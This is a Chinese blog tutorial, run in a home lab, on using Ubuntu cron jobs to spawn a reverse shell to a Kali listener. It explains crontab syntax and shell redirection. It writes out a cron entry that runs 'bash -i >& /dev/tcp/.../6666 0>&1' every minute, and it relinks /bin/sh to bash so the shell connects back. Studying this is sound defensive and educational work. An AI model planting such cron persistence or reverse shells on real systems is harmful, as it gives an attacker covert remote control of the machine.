ubuntu计划任务反弹shell

实验环境

ubuntu 14.04 x64位:192.168.1.115

kali/win10:192.168.1.108/107

所用工具:netcat(瑞士军刀)

计划任务

至于计划任务是什么我觉大不需要太多解释,就是定时执行任务的意思那么接下来看看计划任务的格式,以及书写

crond 是linux用来定期执行程序的命令,如果未安装需要先安装,不在多说

cron服务提供crontab命令来设定cron服务的,以下是这个命令的一些参数与说明:

  • crontab -u //设定某个用户的cron服务,一般root用户在执行这个命令的时候需要此参数
  • crontab -l //列出某个用户cron服务的详细内容
  • crontab -r //删除没个用户的cron服务
  • crontab -e //编辑某个用户的cron服务

我们使用crontab -e编辑的文件都被保存在 /var/spool/cron目录中。其文件名与用户名一致(redis里面命名的root)

基本语法

分      小时     日       月      星期      命令

0-59   0-23   1-31   1-12     0-6     command     (取值范围,0表示周日一般一行对应一个任务)

SHELL=/bin/bash
PATH=/sbin:/bin:/usr/sbin:/usr/bin
MAILTO=root
HOME=/

# For details see man 4 crontabs

# Example of job definition:
# .---------------- minute (0 - 59)
# |  .------------- hour (0 - 23)
# |  |  .---------- day of month (1 - 31)
# |  |  |  .------- month (1 - 12) OR jan,feb,mar,apr ...
# |  |  |  |  .---- day of week (0 - 6) (Sunday=0 or 7) OR sun,mon,tue,wed,thu,fri,sat
# |  |  |  |  |
# *  *  *  *  * user-name command to be executed

前四行是用来配置crond任务运行的环境变量

  • 第一行SHELL变量指定了系统要使用哪个shell,这里是bash
  • 第二行PATH变量指定了系统执行命令的路径
  • 第三行MAILTO变量指定了crond的任务执行信息将通过电子邮件发送给root用户,如果MAILTO变量的值为空,则表示不发送任务执行信息给用户
  • 第四行的HOME变量指定了在执行命令或者脚本时使用的主目录

反弹shell

bash -i >& /dev/tcp/IP/PORT 0>&1

要想了解“>&”和“0>&1”,首先我们要先了解一下Linux文件描述符和重定向。

linux shell下常用的文件描述符是:

  • 标准输入   (stdin) :代码为 0 ,使用 < 或 << 
  • 标准输出   (stdout):代码为 1 ,使用 > 或 >> 
  • 标准错误输出(stderr):代码为 2 ,使用 2> 或 2>>

命令解释

  • bash -i: -i(interactive)。即产生一个交互式的shell(bash)
  • /dev/tcp/IP/POR:接单理解就可以是连接IP上的PORT端口,具体意思-->>/dev/tcp/是Linux中的一个特殊设备,打开这个文件就相当于发出了一个socket调用,建立一个socket连接,读写这个文件就相当于在这个socket连接中传输数据。同理,Linux中还存在/dev/udp/
  • 在这里&并不是and的意思,在c或者C++中,&是取地址符。>&和&<是一个意思,把...定向到.....;>&和2>&1是一个意思就是把标准错误输出定向到标准输出中,0>&1就是把标准输入定向到标准输出中

参考文章:https://blog.csdn.net/deeplearnings/article/details/77367695

本地测试


通过ssh连接两台虚拟机

在kali中开启监听,这里我们随便选一个端口,大于1000的-->>6666端口

在Ubuntu中写入计划任务,使用crontab -e直接编辑

* * * * * bash -i  >& /dev/tcp/192.168.1.109/6666 0>&1

切换到root用户查看,发现crontabs目录下多了一个qiushui文件,这里是因为我刚才是用qiushui用户登陆的,如果可以拿到shell,也是此用户的shell,但是并没有反弹成功

接下来,查看一下Ubuntu这边的日志:tail -f /var/log/syslog

经过查阅资料

Ubuntu系统默认会将计划任务的错误信息以邮件的方式发送给用户,但是由于Ubuntu系统默认没有安装邮件系统,所以真正的报错信息并不是No MTA installed,discarding output这句话

想看到真正的报错信息有两种解决办法:

  • 安装邮件系统
  • 将计划任务的错误信息输出到一个文件内

我们选择第二种,接下来修改一下计划任务,让他输出到一个文件内

* * * * * bash -i  '>& /dev/tcp/192.168.1.109/6666 0>&1'>/tmp/error.txt 2>&1

大概需要等一分钟左右,接下来我们去查看error文件

  • 第一行:无法设定终端进程组
  • 第二行:此shell中无任务控制
  • 第三行:没有这个文件或目录

这条错误的意思说/bin/bash没有被找到,linux里面的cron中command执行的shell环境是/bin/sh,接下来我们看看ubuntu的bin/sh文件

ls -l | grep -w 'sh'

可以看到/bin/sh 文件实际上是一个软链接文件,他指向的是dash这个shell

而实际上dash这个shell只有运行脚本的能力,而没有交互能力。

这里我们只需要将修改sh的软链接为bash即可

ln -s -f bash /bin/sh

解决完问题我们把计划任务修改回来,成功反弹

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值